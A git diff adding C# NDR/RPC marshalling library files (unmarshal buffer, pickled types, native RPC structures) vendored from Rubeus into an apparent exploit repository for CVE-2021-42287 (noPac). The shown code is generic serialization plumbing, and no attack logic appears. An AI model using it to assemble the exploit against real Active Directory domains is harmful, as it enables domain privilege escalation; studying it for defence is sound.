} + // Padding. + reader.ReadInt32(); + int length = reader.ReadInt32(); + // Padding. + reader.ReadInt32(); + Data = reader.ReadAllBytes(length); + DataRepresentation = new NdrDataRepresentation() + { + IntegerRepresentation = NdrIntegerRepresentation.LittleEndian, + CharacterRepresentation = NdrCharacterRepresentation.ASCII, + FloatingPointRepresentation = NdrFloatingPointRepresentation.IEEE + }; + } + + internal NdrPickledType(byte[] data, NdrDataRepresentation data_representation) + { + DataRepresentation = data_representation; + if (DataRepresentation.CharacterRepresentation != NdrCharacterRepresentation.ASCII || + DataRepresentation.FloatingPointRepresentation != NdrFloatingPointRepresentation.IEEE) + { + throw new ArgumentException("Invalid data representation for type 1 serialized buffer"); + } + Data = data; + } + + internal byte[] Data { get; } + + internal NdrDataRepresentation DataRepresentation { get; } + + /// + /// Convert the pickled type to a type 1 serialized encoded buffer. + /// + /// The type 1 serialized encoded buffer. + public byte[] ToArray() + { + MemoryStream stm = new MemoryStream(); + BinaryWriter writer = new BinaryWriter(stm); + + writer.Write((byte)1); + writer.Write((byte)(DataRepresentation.IntegerRepresentation == NdrIntegerRepresentation.LittleEndian ? 0x10 : 0)); + writer.Write((short)8); + writer.Write(0xCCCCCCCCU); + + writer.Write(Data.Length); + writer.Write(0); + writer.Write(Data); + return stm.ToArray(); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/NdrPipe.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/NdrPipe.cs new file mode 100644 index 0000000..0eb2215 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/NdrPipe.cs @@ -0,0 +1,44 @@ +// Copyright 2019 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +using System; + +namespace Rubeus.Ndr.Marshal +{ + /// + /// Placeholder for a NDR pipe type. + /// + /// The base type of pipe blocks. + public class NdrPipe where T : struct + { + /// + /// Pull a block from a pipe. + /// + /// The maximum number of elements to pull. + /// The pulled block. + public T[] Pull(int count) + { + throw new NotImplementedException("Pipe support not implemented"); + } + + /// + /// Push a block to a pipe. + /// + /// The block to push. + public void Push(T[] data) + { + throw new NotImplementedException("Pipe support not implemented"); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/NdrUnmarshalBuffer.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/NdrUnmarshalBuffer.cs new file mode 100644 index 0000000..e1c4824 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/NdrUnmarshalBuffer.cs @@ -0,0 +1,736 @@ +// Copyright 2019 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +using Rubeus.Utilities.Text; +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; + +namespace Rubeus.Ndr.Marshal +{ +#pragma warning disable 1591 + /// + /// A buffer to unmarshal NDR data from. + /// + /// This class is primarily for internal use only. + public class NdrUnmarshalBuffer : IDisposable + { + #region Private Members + + private readonly MemoryStream _stm; + private readonly BinaryReader _reader; + private NdrDeferralStack _deferred_reads; + private int[] _conformance_values; + private Dictionary _full_pointers; + + private string[] ReadStringArray(int[] refs, Func reader) + { + string[] ret = new string[refs.Length]; + for (int i = 0; i < refs.Length; ++i) + { + if (refs[i] == 0) + { + ret[i] = string.Empty; + } + else + { + int pos = i; + _deferred_reads.Add(() => ret[pos] = reader()); + } + } + return ret; + } + + private bool SetupConformance(int dimensions) + { + if (_conformance_values == null) + { + _conformance_values = new int[dimensions]; + for (int i = 0; i < dimensions; ++i) + { + _conformance_values[i] = ReadInt32(); + } + return true; + } + return false; + } + + private int[] ReadConformance(int dimensions) + { + int[] ret; + if (_conformance_values != null) + { + System.Diagnostics.Debug.Assert(_conformance_values.Length == dimensions); + ret = _conformance_values; + _conformance_values = null; + } + else + { + ret = new int[dimensions]; + for (int i = 0; i < dimensions; ++i) + { + ret[i] = ReadInt32(); + } + } + return ret; + } + + private T ReadFullPointer(int referent, Func unmarshal_func) + { + if (!_full_pointers.ContainsKey(referent)) + { + _full_pointers[referent] = unmarshal_func(); + } + + return (T)_full_pointers[referent]; + } + + private T ReadStructInternal() where T : new() + { + INdrStructure s = (INdrStructure)new T(); + Align(s.GetAlignment()); + s.Unmarshal(this); + return (T)s; + } + + private void Align(int alignment) + { + _stm.Position += NdrNativeUtils.CalculateAlignment((int)_stm.Position, alignment); + System.Diagnostics.Debug.WriteLine($"Pos: {_stm.Position} - Align: {alignment}"); + } + + #endregion + + #region Constructors + public NdrUnmarshalBuffer(byte[] buffer, NdrDataRepresentation data_represenation) + { + _stm = new MemoryStream(buffer); + _reader = new BinaryReader(_stm, Encoding.Unicode); + _deferred_reads = new NdrDeferralStack(); + _full_pointers = new Dictionary(); + CheckDataRepresentation(data_represenation); + } + public NdrUnmarshalBuffer(byte[] buffer) + : this(buffer, new NdrDataRepresentation()) + { + } + + + public NdrUnmarshalBuffer(NdrPickledType pickled_type) + : this(pickled_type.Data, pickled_type.DataRepresentation) + { + } + + #endregion + + #region Misc Methods + + public NdrContextHandle ReadContextHandle() + { + int attributes = ReadInt32(); + Guid uuid = ReadGuid(); + return new NdrContextHandle(attributes, uuid); + } + + public NdrUnsupported ReadUnsupported(string name) + { + throw new NotImplementedException($"Reading type {name} is unsupported"); + } + + public NdrEmpty ReadEmpty() + { + return new NdrEmpty(); + } + + public NdrInterfacePointer ReadInterfacePointer() + { + return ReadStruct(); + } + + public NdrPipe ReadPipe() where T : struct + { + throw new NotImplementedException("Pipe support is not implemented"); + } + + internal static void CheckDataRepresentation(NdrDataRepresentation data_represenation) + { + if (data_represenation.IntegerRepresentation != NdrIntegerRepresentation.LittleEndian || + data_represenation.FloatingPointRepresentation != NdrFloatingPointRepresentation.IEEE || + data_represenation.CharacterRepresentation != NdrCharacterRepresentation.ASCII) + { + throw new ArgumentException("Unsupported NDR data representation"); + } + } + + #endregion + + #region Primitive Types + + public byte ReadByte() + { + return _reader.ReadByte(); + } + + public sbyte ReadSByte() + { + return _reader.ReadSByte(); + } + + public short ReadInt16() + { + Align(2); + return _reader.ReadInt16(); + } + + public ushort ReadUInt16() + { + Align(2); + return _reader.ReadUInt16(); + } + + public int ReadInt32() + { + Align(4); + return _reader.ReadInt32(); + } + + public uint ReadUInt32() + { + Align(4); + return _reader.ReadUInt32(); + } + + public long ReadInt64() + { + Align(8); + return _reader.ReadInt64(); + } + + public ulong ReadUInt64() + { + Align(8); + return _reader.ReadUInt64(); + } + + public float ReadFloat() + { + Align(4); + return _reader.ReadSingle(); + } + + public NdrInt3264 ReadInt3264() + { + return new NdrInt3264(ReadInt32()); + } + + public NdrUInt3264 ReadUInt3264() + { + return new NdrUInt3264(ReadUInt32()); + } + + public double ReadDouble() + { + Align(8); + return _reader.ReadDouble(); + } + + public char ReadChar() + { + Align(2); + return _reader.ReadChar(); + } + + public NdrEnum16 ReadEnum16() + { + return ReadInt16(); + } + + #endregion + + #region Fixed Array Types + + public byte[] ReadFixedByteArray(int count) + { + byte[] ret = _reader.ReadBytes(count); + if (ret.Length < count) + { + throw new EndOfStreamException(); + } + return ret; + } + + public char[] ReadFixedCharArray(int count) + { + char[] chars = _reader.ReadChars(count); + if (chars.Length < count) + { + throw new EndOfStreamException(); + } + return chars; + } + + public T[] ReadFixedPrimitiveArray(int actual_count) where T : struct + { + int size = NdrNativeUtils.GetPrimitiveTypeSize(); + Align(size); + byte[] total_buffer = ReadFixedByteArray(size * actual_count); + T[] ret = new T[actual_count]; + Buffer.BlockCopy(total_buffer, 0, ret, 0, total_buffer.Length); + return ret; + } + + public T[] ReadFixedArray(Func reader, int actual_count) + { + T[] ret = new T[actual_count]; + for (int i = 0; i < actual_count; ++i) + { + ret[i] = reader(); + } + return ret; + } + + public T[] ReadFixedStructArray(int actual_count) where T : INdrStructure, new() + { + using (var queue = _deferred_reads.Push()) + { + return ReadFixedArray(ReadStruct, actual_count); + } + } + + #endregion + + #region Conformant Array Types + + public byte[] ReadConformantByteArray() + { + int max_count = ReadConformance(1)[0]; + return ReadFixedByteArray(max_count); + } + + public char[] ReadConformantCharArray() + { + int max_count = ReadConformance(1)[0]; + return ReadFixedCharArray(max_count); + } + + public T[] ReadConformantPrimitiveArray() where T : struct + { + int max_count = ReadConformance(1)[0]; + return ReadFixedPrimitiveArray(max_count); + } + + public T[] ReadConformantArrayCallback(Func reader) + { + int max_count = ReadConformance(1)[0]; + T[] ret = new T[max_count]; + for (int i = 0; i < max_count; ++i) + { + ret[i] = reader(); + } + return ret; + } + + public T[] ReadConformantStructArray() where T : INdrStructure, new() + { + using (var queue = _deferred_reads.Push()) + { + return ReadConformantArrayCallback(() => ReadStructInternal()); + } + } + + public string[] ReadConformantStringArray(Func reader) + { + using (var queue = _deferred_reads.Push()) + { + return ReadStringArray(ReadConformantArrayCallback(ReadInt32), reader); + } + } + + public T[] ReadConformantArray() where T : struct + { + if (typeof(T) == typeof(byte)) + { + return ReadConformantByteArray().Cast(); + } + else if (typeof(T) == typeof(char)) + { + return ReadConformantCharArray().Cast(); + } + else if (typeof(T) == typeof(INdrStructure)) + { + using (var queue = _deferred_reads.Push()) + { + return ReadConformantArrayCallback(ReadStructInternal); + } + } + else if (typeof(T).IsPrimitive) + { + return ReadConformantPrimitiveArray(); + } + throw new ArgumentException($"Invalid type {typeof(T)} for {nameof(ReadConformantArray)}"); + } + + #endregion + + #region Varying Array Types + + public byte[] ReadVaryingByteArray() + { + int offset = ReadInt32(); + int actual_count = ReadInt32(); + byte[] ret = new byte[offset + actual_count]; + if (_stm.Read(ret, offset, actual_count) != actual_count) + { + throw new EndOfStreamException(); + } + + return ret; + } + + public char[] ReadVaryingCharArray() + { + int offset = ReadInt32(); + int actual_count = ReadInt32(); + if (offset == 0) + { + return ReadFixedCharArray(actual_count); + } + + char[] tmp = ReadFixedCharArray(actual_count); + char[] ret = new char[offset + actual_count]; + Array.Copy(tmp, 0, ret, offset, actual_count); + return ret; + } + + public T[] ReadVaryingPrimitiveArray() where T : struct + { + int offset = ReadInt32(); + int actual_count = ReadInt32(); + T[] tmp = ReadFixedPrimitiveArray(actual_count); + T[] ret = new T[offset + actual_count]; + Array.Copy(tmp, 0, ret, offset, actual_count); + return ret; + } + + public T[] ReadVaryingArrayCallback(Func reader) + { + int offset = ReadInt32(); + int actual_count = ReadInt32(); + T[] ret = new T[offset + actual_count]; + for (int i = 0; i < actual_count; ++i) + { + ret[i + offset] = reader(); + } + return ret; + } + + public T[] ReadVaryingStructArray() where T : INdrStructure, new() + { + using (var queue = _deferred_reads.Push()) + { + return ReadVaryingArrayCallback(ReadStruct); + } + } + + public string[] ReadVaryingStringArray(Func reader) + { + using (var queue = _deferred_reads.Push()) + { + return ReadStringArray(ReadVaryingArrayCallback(ReadInt32), reader); + } + } + + public T[] ReadVaryingArray() where T : struct + { + if (typeof(T) == typeof(byte)) + { + return ReadVaryingByteArray().Cast(); + } + else if (typeof(T) == typeof(char)) + { + return ReadVaryingCharArray().Cast(); + } + else if (typeof(T) == typeof(INdrStructure)) + { + using (var queue = _deferred_reads.Push()) + { + return ReadVaryingArrayCallback(ReadStructInternal); + } + } + else if (typeof(T).IsPrimitive) + { + return ReadVaryingPrimitiveArray(); + } + throw new ArgumentException($"Invalid type {typeof(T)} for {nameof(ReadVaryingArray)}"); + } + + #endregion + + #region Conformant Varying Array Types + + public byte[] ReadConformantVaryingByteArray() + { + int max_count = ReadConformance(1)[0]; + int offset = ReadInt32(); + int actual_count = ReadInt32(); + byte[] ret = new byte[max_count]; + if (_stm.Read(ret, offset, actual_count) != actual_count) + { + throw new EndOfStreamException(); + } + + return ret; + } + + public char[] ReadConformantVaryingCharArray() + { + int max_count = ReadConformance(1)[0]; + int offset = ReadInt32(); + int actual_count = ReadInt32(); + + char[] tmp = ReadFixedCharArray(actual_count); + + if (max_count == actual_count && offset == 0) + { + return tmp; + } + + char[] ret = new char[max_count]; + Array.Copy(tmp, 0, ret, offset, actual_count); + return ret; + } + + public T[] ReadConformantVaryingPrimitiveArray() where T : struct + { + int max_count = ReadConformance(1)[0]; + int offset = ReadInt32(); + int actual_count = ReadInt32(); + + T[] tmp = ReadFixedPrimitiveArray(actual_count); + if (max_count == actual_count && offset == 0) + { + return tmp; + } + + T[] ret = new T[max_count]; + Array.Copy(tmp, 0, ret, offset, actual_count); + return ret; + } + + public T[] ReadConformantVaryingArrayCallback(Func reader) + { + int max_count = ReadConformance(1)[0]; + int offset = ReadInt32(); + int actual_count = ReadInt32(); + T[] ret = new T[offset + actual_count]; + for (int i = 0; i < actual_count; ++i) + { + ret[i + offset] = reader(); + } + return ret; + } + + public T[] ReadConformantVaryingStructArray() where T : INdrStructure, new() + { + using (var queue = _deferred_reads.Push()) + { + return ReadConformantVaryingArrayCallback(ReadStructInternal); + } + } + + public string[] ReadConformantVaryingStringArray(Func reader) + { + using (var queue = _deferred_reads.Push()) + { + return ReadStringArray(ReadConformantVaryingArrayCallback(ReadInt32), reader); + } + } + + public T[] ReadConformantVaryingArray() where T : struct + { + if (typeof(T) == typeof(byte)) + { + return ReadConformantVaryingByteArray().Cast(); + } + else if (typeof(T) == typeof(char)) + { + return ReadConformantVaryingCharArray().Cast(); + } + else if (typeof(T) == typeof(INdrStructure)) + { + using (var queue = _deferred_reads.Push()) + { + return ReadConformantVaryingArrayCallback(ReadStructInternal); + } + } + else if (typeof(T).IsPrimitive) + { + return ReadConformantVaryingPrimitiveArray(); + } + throw new ArgumentException($"Invalid type {typeof(T)} for {nameof(ReadConformantVaryingArray)}"); + } + + #endregion + + #region String Types + + public string ReadFixedString(int count) + { + return new string(ReadFixedCharArray(count)); + } + + public string ReadFixedAnsiString(int count) + { + return BinaryEncoding.Instance.GetString(ReadFixedByteArray(count)); + } + + public string ReadConformantVaryingAnsiString() + { + return BinaryEncoding.Instance.GetString(ReadConformantVaryingByteArray()).TrimEnd('\0'); + } + + public string ReadConformantVaryingString() + { + return new string(ReadConformantVaryingCharArray()).TrimEnd('\0'); + } + + public string ReadVaryingString() + { + return new string(ReadVaryingCharArray()).TrimEnd('\0'); + } + + public string ReadVaryingAnsiString() + { + return BinaryEncoding.Instance.GetString(ReadVaryingByteArray()).TrimEnd('\0'); + } + + #endregion + + #region Pointer Types + + public T? ReadReferentValue(Func unmarshal_func, bool full_pointer) where T : struct + { + int referent = ReadInt32(); + if (referent == 0) + { + return null; + } + + return full_pointer ? ReadFullPointer(referent, unmarshal_func) : unmarshal_func(); + } + + public T? ReadReferentValue(Func unmarshal_func, bool full_pointer, U arg) where T : struct + { + return ReadReferentValue(() => unmarshal_func(arg), full_pointer); + } + + public T? ReadReferentValue(Func unmarshal_func, bool full_pointer, U arg1, V arg2) where T : struct + { + return ReadReferentValue(() => unmarshal_func(arg1, arg2), full_pointer); + } + + public T ReadReferent(Func unmarshal_func, bool full_pointer) where T : class + { + int referent = ReadInt32(); + if (referent == 0) + { + return null; + } + return full_pointer ? ReadFullPointer(referent, unmarshal_func) : unmarshal_func(); + } + + public T ReadReferent(Func unmarshal_func, bool full_pointer, U arg) where T : class + { + return ReadReferent(() => unmarshal_func(arg), full_pointer); + } + + public T ReadReferent(Func unmarshal_func, bool full_pointer, U arg1, V arg2) where T : class + { + return ReadReferent(() => unmarshal_func(arg1, arg2), full_pointer); + } + + public NdrEmbeddedPointer ReadEmbeddedPointer(Func unmarshal_func, bool full_pointer) + { + int referent = ReadInt32(); + if (referent == 0) + { + return null; + } + + if (full_pointer) + { + unmarshal_func = () => ReadFullPointer(referent, unmarshal_func); + } + + var deferred_reader = NdrEmbeddedPointer.CreateDeferredReader(unmarshal_func); + _deferred_reads.Add(deferred_reader.Item2); + return deferred_reader.Item1; + } + + public NdrEmbeddedPointer ReadEmbeddedPointer(Func unmarshal_func, bool full_pointer, U arg) + { + return ReadEmbeddedPointer(() => unmarshal_func(arg), full_pointer); + } + + public NdrEmbeddedPointer ReadEmbeddedPointer(Func unmarshal_func, bool full_pointer, U arg, V arg2) + { + return ReadEmbeddedPointer(() => unmarshal_func(arg, arg2), full_pointer); + } + + #endregion + + #region Structure Types + + public Guid ReadGuid() + { + Align(4); + return new Guid(ReadFixedByteArray(16)); + } + + public T ReadStruct() where T : INdrStructure, new() + { + INdrStructure s = (INdrStructure)new T(); + bool conformant = false; + if (s is INdrConformantStructure conformant_struct) + { + conformant = SetupConformance(conformant_struct.GetConformantDimensions()); + System.Diagnostics.Debug.Assert(_conformance_values != null); + } + + T ret; + using (var queue = _deferred_reads.Push()) + { + ret = ReadStructInternal(); + } + + if (conformant) + { + System.Diagnostics.Debug.Assert(_conformance_values == null); + } + + return ret; + } + + #endregion + + #region Dispose Support + public virtual void Dispose() + { + + } + #endregion + } +#pragma warning restore 1591 +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/NdrUnsupported.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/NdrUnsupported.cs new file mode 100644 index 0000000..eaecbeb --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/Marshal/NdrUnsupported.cs @@ -0,0 +1,26 @@ +// Copyright 2019 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +namespace Rubeus.Ndr.Marshal +{ + /// + /// Place holder for unsupported types. + /// + public class NdrUnsupported + { + private NdrUnsupported() + { + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/NdrNativeUtils.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/NdrNativeUtils.cs new file mode 100644 index 0000000..fa2101b --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/NdrNativeUtils.cs @@ -0,0 +1,690 @@ +// Copyright 2018 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +using Rubeus.Utilities.Memory; +using System; +using System.Collections.Generic; +using System.IO; +using System.Runtime.InteropServices; + +namespace Rubeus.Ndr +{ + internal static class NdrNativeUtils + { + internal static byte[] ReadAll(this BinaryReader reader, int length) + { + byte[] ret = reader.ReadBytes(length); + if (ret.Length != length) + { + throw new EndOfStreamException(); + } + return ret; + } + + internal static Guid ReadComGuid(this IMemoryReader reader, IntPtr p) + { + if (p == IntPtr.Zero) + { + return IID_IUnknown; + } + return new Guid(reader.ReadBytes(p, 16)); + } + + internal static T[] EnumeratePointerList(this IMemoryReader reader, IntPtr p, Func load_type) + { + List ret = new List(); + + if (p == IntPtr.Zero) + { + return new T[0]; + } + + IntPtr curr = p; + IntPtr value = IntPtr.Zero; + while ((value = reader.ReadIntPtr(curr)) != IntPtr.Zero) + { + ret.Add(load_type(value)); + curr += reader.PointerSize; + } + return ret.ToArray(); + } + + internal static T[] EnumeratePointerList(this IMemoryReader reader, IntPtr p) where T : struct + { + return EnumeratePointerList(reader, p, i => reader.ReadStruct(i)); + } + + internal static T[] ReadPointerArray(this IMemoryReader reader, IntPtr p, int count, Func load_type) + { + T[] ret = new T[count]; + if (p == IntPtr.Zero) + { + return ret; + } + + for (int i = 0; i < count; ++i) + { + IntPtr curr = reader.ReadIntPtr(p + i * reader.PointerSize); + if (curr == IntPtr.Zero) + { + ret[i] = default; + } + else + { + ret[i] = load_type(curr); + } + } + return ret; + } + + internal static T[] ReadPointerArray(this IMemoryReader reader, IntPtr p, int count) where T : struct + { + return ReadPointerArray(reader, p, count, i => reader.ReadStruct(i)); + } + + internal static RPC_VERSION ToRpcVersion(this Version version) + { + return new RPC_VERSION() { MajorVersion = (ushort)version.Major, MinorVersion = (ushort)version.Minor }; + } + + internal static int GetPrimitiveTypeSize() where T : struct + { + if (!typeof(T).IsPrimitive) + { + throw new ArgumentException($"Type {typeof(T)} not primitive"); + } + + // The "native" size of a char is 1 due to defaulting to ANSI! + if (typeof(T) == typeof(char)) + { + return 2; + } + + return System.Runtime.InteropServices.Marshal.SizeOf(typeof(T)); + } + + internal static int CalculateAlignment(int offset, int alignment) + { + int result = alignment - (offset % alignment); + if (result < alignment) + { + return result; + } + return 0; + } + + internal static U[] Cast(this T[] array) + { + return (U[])(Array)array; + } + + internal static readonly Guid IID_IUnknown = new Guid("00000000-0000-0000-C000-000000000046"); + internal static readonly Guid IID_IDispatch = new Guid("00020400-0000-0000-C000-000000000046"); + internal static readonly Guid IID_IPSFactoryBuffer = new Guid("D5F569D0-593B-101A-B569-08002B2DBF7A"); + internal static readonly Guid DCE_TransferSyntax = new Guid("8A885D04-1CEB-11C9-9FE8-08002B104860"); + internal static readonly Guid NDR64_TransferSyntax = new Guid("71710533-BEBA-4937-8319-B5DBEF9CCC36"); + internal static readonly Guid FakeNDR64_TransferSyntax = new Guid("B4537DA9-3D03-4F6B-B594-52B2874EE9D0"); + } + + [StructLayout(LayoutKind.Sequential)] + struct ProxyFileInfo32 : IConvertToNative + { + public IntPtr32 pProxyVtblList; + public IntPtr32 pStubVtblList; + public IntPtr32 pNamesArray; + public IntPtr32 pDelegatedIIDs; + public IntPtr32 pIIDLookupRtn; + public ushort TableSize; + public ushort TableVersion; + + public ProxyFileInfo Convert() + { + ProxyFileInfo ret = new ProxyFileInfo + { + pProxyVtblList = pProxyVtblList.Convert(), + pStubVtblList = pStubVtblList.Convert(), + pNamesArray = pNamesArray.Convert(), + pDelegatedIIDs = pDelegatedIIDs.Convert(), + pIIDLookupRtn = pIIDLookupRtn.Convert(), + TableSize = TableSize, + TableVersion = TableVersion + }; + return ret; + } + } + + [StructLayout(LayoutKind.Sequential), CrossBitnessType(typeof(ProxyFileInfo32))] + struct ProxyFileInfo + { + public IntPtr pProxyVtblList; + public IntPtr pStubVtblList; + public IntPtr pNamesArray; + public IntPtr pDelegatedIIDs; + public IntPtr pIIDLookupRtn; + public ushort TableSize; + public ushort TableVersion; + + public string[] GetNames(IMemoryReader reader) + { + return reader.ReadPointerArray(pNamesArray, TableSize, i => reader.ReadAnsiStringZ(i)); + } + + public Guid[] GetBaseIids(IMemoryReader reader) + { + return reader.ReadPointerArray(pDelegatedIIDs, TableSize, i => reader.ReadComGuid(i)); + } + + public CInterfaceStubHeader[] GetStubs(IMemoryReader reader) + { + return reader.ReadPointerArray(pStubVtblList, TableSize); + } + } + + [StructLayout(LayoutKind.Sequential)] + struct CInterfaceStubHeader32 : IConvertToNative + { + public IntPtr32 piid; + public IntPtr32 pServerInfo; + public int DispatchTableCount; + public IntPtr32 pDispatchTable; + + public CInterfaceStubHeader Convert() + { + CInterfaceStubHeader ret = new CInterfaceStubHeader + { + piid = piid.Convert(), + pServerInfo = pServerInfo.Convert(), + DispatchTableCount = DispatchTableCount, + pDispatchTable = pDispatchTable.Convert() + }; + return ret; + } + } + + [StructLayout(LayoutKind.Sequential), CrossBitnessType(typeof(CInterfaceStubHeader32))] + struct CInterfaceStubHeader + { + public IntPtr piid; + public IntPtr pServerInfo; + public int DispatchTableCount; + public IntPtr pDispatchTable; + + public Guid GetIid(IMemoryReader reader) + { + return reader.ReadComGuid(piid); + } + } + + [StructLayout(LayoutKind.Sequential)] + internal struct MIDL_STUB_DESC32 : IConvertToNative + { + public IntPtr32 RpcInterfaceInformation; + public IntPtr32 pfnAllocate; + public IntPtr32 pfnFree; + public IntPtr32 pGenericBindingInfo; + public IntPtr32 apfnNdrRundownRoutines; + public IntPtr32 aGenericBindingRoutinePairs; + public IntPtr32 apfnExprEval; + public IntPtr32 aXmitQuintuple; + public IntPtr32 pFormatTypes; + public int fCheckBounds; + public int Version; + public IntPtr32 pMallocFreeStruct; + public int MIDLVersion; + public IntPtr32 CommFaultOffsets; + public IntPtr32 aUserMarshalQuadruple; + public IntPtr32 NotifyRoutineTable; + public IntPtr32 mFlags; + public IntPtr32 CsRoutineTables; + public IntPtr32 ProxyServerInfo; + public IntPtr32 pExprInfo; + public MIDL_STUB_DESC Convert() + { + MIDL_STUB_DESC ret = new MIDL_STUB_DESC + { + RpcInterfaceInformation = RpcInterfaceInformation.Convert(), + pfnAllocate = pfnAllocate.Convert(), + pfnFree = pfnFree.Convert(), + pGenericBindingInfo = pGenericBindingInfo.Convert(), + apfnNdrRundownRoutines = apfnNdrRundownRoutines.Convert(), + aGenericBindingRoutinePairs = aGenericBindingRoutinePairs.Convert(), + apfnExprEval = apfnExprEval.Convert(), + aXmitQuintuple = aXmitQuintuple.Convert(), + pFormatTypes = pFormatTypes.Convert(), + fCheckBounds = fCheckBounds, + Version = Version, + pMallocFreeStruct = pMallocFreeStruct.Convert(), + MIDLVersion = MIDLVersion, + CommFaultOffsets = CommFaultOffsets.Convert(), + aUserMarshalQuadruple = aUserMarshalQuadruple.Convert(), + NotifyRoutineTable = NotifyRoutineTable.Convert(), + mFlags = mFlags.Convert(), + CsRoutineTables = CsRoutineTables.Convert(), + ProxyServerInfo = ProxyServerInfo.Convert(), + pExprInfo = pExprInfo.Convert() + }; + return ret; + } + } + + [StructLayout(LayoutKind.Sequential)] + internal struct MIDL_SERVER_INFO32 : IConvertToNative + { + public IntPtr32 pStubDesc; + public IntPtr32 DispatchTable; + public IntPtr32 ProcString; + public IntPtr32 FmtStringOffset; + public IntPtr32 ThunkTable; + public IntPtr32 pTransferSyntax; + public IntPtr32 nCount; + public IntPtr32 pSyntaxInfo; + public MIDL_SERVER_INFO Convert() + { + MIDL_SERVER_INFO ret = new MIDL_SERVER_INFO + { + pStubDesc = pStubDesc.Convert(), + DispatchTable = DispatchTable.Convert(), + ProcString = ProcString.Convert(), + FmtStringOffset = FmtStringOffset.Convert(), + ThunkTable = ThunkTable.Convert(), + pTransferSyntax = pTransferSyntax.Convert(), + nCount = nCount.Convert(), + pSyntaxInfo = pSyntaxInfo.Convert() + }; + return ret; + } + } + + [StructLayout(LayoutKind.Sequential)] + internal struct RPC_DISPATCH_TABLE32 : IConvertToNative + { + public int DispatchTableCount; + public IntPtr32 DispatchTable; + public IntPtr32 Reserved; + public RPC_DISPATCH_TABLE Convert() + { + RPC_DISPATCH_TABLE ret = new RPC_DISPATCH_TABLE + { + DispatchTableCount = DispatchTableCount, + DispatchTable = DispatchTable.Convert(), + Reserved = Reserved.Convert() + }; + return ret; + } + } + + [StructLayout(LayoutKind.Sequential)] + internal struct RPC_SERVER_INTERFACE32 : IConvertToNative + { + public int Length; + public RPC_SYNTAX_IDENTIFIER InterfaceId; + public RPC_SYNTAX_IDENTIFIER TransferSyntax; + public IntPtr32 DispatchTable; + public int RpcProtseqEndpointCount; + public IntPtr32 RpcProtseqEndpoint; + public IntPtr32 DefaultManagerEpv; + public IntPtr32 InterpreterInfo; + public int Flags; + public RPC_SERVER_INTERFACE Convert() + { + RPC_SERVER_INTERFACE ret = new RPC_SERVER_INTERFACE + { + Length = Length, + InterfaceId = InterfaceId, + TransferSyntax = TransferSyntax, + DispatchTable = DispatchTable.Convert(), + RpcProtseqEndpointCount = RpcProtseqEndpointCount, + RpcProtseqEndpoint = RpcProtseqEndpoint.Convert(), + DefaultManagerEpv = DefaultManagerEpv.Convert(), + InterpreterInfo = InterpreterInfo.Convert(), + Flags = Flags + }; + return ret; + } + } + + [StructLayout(LayoutKind.Sequential)] + internal struct MIDL_SYNTAX_INFO32 : IConvertToNative + { + public RPC_SYNTAX_IDENTIFIER TransferSyntax; + public IntPtr32 DispatchTable; // RPC_DISPATCH_TABLE + public IntPtr32 ProcString; // PFORMAT_STRING + public IntPtr32 FmtStringOffset; // const unsigned short* + public IntPtr32 TypeString; // PFORMAT_STRING + public IntPtr32 aUserMarshalQuadruple; // const void* + public IntPtr32 pMethodProperties; // const MIDL_INTERFACE_METHOD_PROPERTIES* + public IntPtr32 pReserved2; + + public MIDL_SYNTAX_INFO Convert() + { + MIDL_SYNTAX_INFO ret = new MIDL_SYNTAX_INFO + { + TransferSyntax = TransferSyntax, + DispatchTable = DispatchTable.Convert(), + ProcString = ProcString.Convert(), + FmtStringOffset = ProcString.Convert(), + TypeString = TypeString.Convert(), + aUserMarshalQuadruple = aUserMarshalQuadruple.Convert(), + pMethodProperties = pMethodProperties.Convert(), + pReserved2 = pReserved2.Convert() + }; + return ret; + } + 